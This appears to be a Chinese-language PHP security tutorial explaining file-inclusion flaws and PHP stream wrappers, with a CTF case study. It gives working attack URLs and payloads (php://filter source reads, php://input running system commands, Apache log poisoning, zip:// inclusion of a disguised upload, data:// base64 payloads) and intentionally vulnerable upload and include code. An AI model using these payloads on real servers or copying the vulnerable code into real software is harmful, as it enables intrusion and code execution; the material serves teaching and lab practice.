您现在的位置是:群英 > 开发技术 > PHP语言
PHP文件包含是什么,导致文件包含的函数有哪些
Admin发表于 2022-08-26 17:46:361379 次浏览
今天这篇给大家分享的知识是“PHP文件包含是什么,导致文件包含的函数有哪些”,小编觉得挺不错的,对大家学习或是工作可能会有所帮助,对此分享发大家做个参考,希望这篇“PHP文件包含是什么,导致文件包含的函数有哪些”文章能帮助大家解决问题。

本篇文章给大家带来了关于PHP的相关问题,其中主要介绍了关于文件包含和PHP伪协议的相关内容,文件包含漏洞是“代码注入”的一种,下面一起来看一下,希望对大家有帮助。

文件包含

文件包含漏洞是“代码注入”的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。“代码注入”的典型代表就是文件包含。

要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件:

  • Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件;

  • 用户能够控制该动态变量。

常见的导致文件包含的函数:
PHP:include()、include_once()、require()、require_once()等;
1.php文件包含可以直接执行包含文件的代码,包含的文件格式不受任何限制
在 php 中提供了四个文件包含函数:
(1) Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
(2) Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
(3) Require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;

PHP伪协议

php伪协议,事实上是其支持的协议与封装协议。而其支持的协议有:

file:// — 访问本地文件系统

php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流

all_url_include在php 5.2以后添加,安全方便的设置(php的默认设置)为:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (允许打开URL文件,预设启用)
allow_url_fopen = Off (禁止打开URL文件)
allow_url_include = Off (禁止引用URL文件,新版增加功能,预设关闭)
allow_url_include = On (允许引用URL文件,新版增加功能)

file协议

file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。

使用file://协议去包含本地的phpinfo.php

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php

PHP协议

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码:
php://input用于执行php代码。

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php

php://filter读取php文件时候需要base64编码

php://input

  1. allow_url_include = On

php://input + [POST DATA]执行php代码
需要***allow_url_include = On***

http://localhost/www/lfi.php?file=php://input

POST	<?system('ipconfig')?>

  1. allow_url_include = Off

不过一般大部分情况下,allow_url_include 为默认关闭状态,
就不能包含POST数据了,这种情况下可以包含apache日志或者错误日志记录

首先需要fuzz大法,爆破出日志的路径,

为了测试方便,我先将日志的内容清空,方便演示

访问该网址,通过报错将代码写入日志中
注意:这里要使用burp抓包去访问,不然代码会被url编码写入日志,就不能执行了
也可以将代码写入 user-agent中

http://localhost/www/lfi.php?file=<?php phpinfo();?>


我的日志路径为:
F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

使用file://伪协议去读取日志,发现phpinfo被成功执行了

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

zip://协议

** zip:// & bzip2:// & zlib:// **均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx等等。

这里分析一个文件上传和文件包含结合的CTF案例

首先分析文件上传的源代码

<html><form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form><?phpif(!empty($_FILES["file"])){
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        //move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }}echo $_FILES["file"]["tmp_name"];?></html>

分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。

分析文件包含的源代码

<html>Tips: the parameter is file! :) <!-- upload.php --></html><?php
    @$file = $_GET["file"];
    echo $file;
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }?>

分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。

综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。

在文件上传时候将后缀名zip修改为png的后缀名,

test.php中写入木马

<?phpphpinfo();?>

如下图所示

图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

data://

条件:

allow_url_fopen:on
allow_url_include :on

访问网址

http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>

也可以使用base64编码,防止代码被过滤掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=


关于“PHP文件包含是什么,导致文件包含的函数有哪些”的内容就介绍到这,感谢各位的阅读,相信大家对PHP文件包含是什么,导致文件包含的函数有哪些已经有了进一步的了解。大家如果还想学习更多知识,欢迎关注群英网络,小编将为大家输出更多高质量的实用文章!

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:mmqy2019@163.com进行举报,并提供相关证据,查实之后,将立刻删除涉嫌侵权内容。

标签: php文件包含
相关信息推荐
2022-06-28 17:04:58 
摘要:go语言层面支持并发,所以面试中经常会问到并发的问题,比如说控制go并发数量的方式有哪些?本文就来为大家介绍几种控制并发数量的方法。
2022-07-19 18:00:46 
摘要:在今天这篇文章要给大家介绍得是Go 语言中几种常见类型的宽度,并且基于开头的问题 ”空结构体“ 进行了剖析,需要的朋友可以参考一下,希望对你有所帮助
2022-10-13 17:43:41 
摘要:iostream头文件包含了操作输入输出流的方法,比如读取一个文件,以流的方式读取;其作用是:让初学者有一个方便的命令行输入输出试验环境。iostream的设计初衷是提供一个可扩展的类型安全的IO机制。
云活动
推荐内容
热门关键词
热门信息
群英网络助力开启安全的云计算之旅
立即注册,领取新人大礼包
  • 联系我们
  • 24小时售后:4006784567
  • 24小时TEL :0668-2555666
  • 售前咨询TEL:400-678-4567

  • 官方微信

    官方微信
Copyright  ©  QY  Network  Company  Ltd. All  Rights  Reserved. 2003-2019  群英网络  版权所有   茂名市群英网络有限公司
增值电信经营许可证 : B1.B2-20140078   粤ICP备09006778号
免费拨打  400-678-4567
免费拨打  400-678-4567 免费拨打 400-678-4567 或 0668-2555555
微信公众号
返回顶部
返回顶部 返回顶部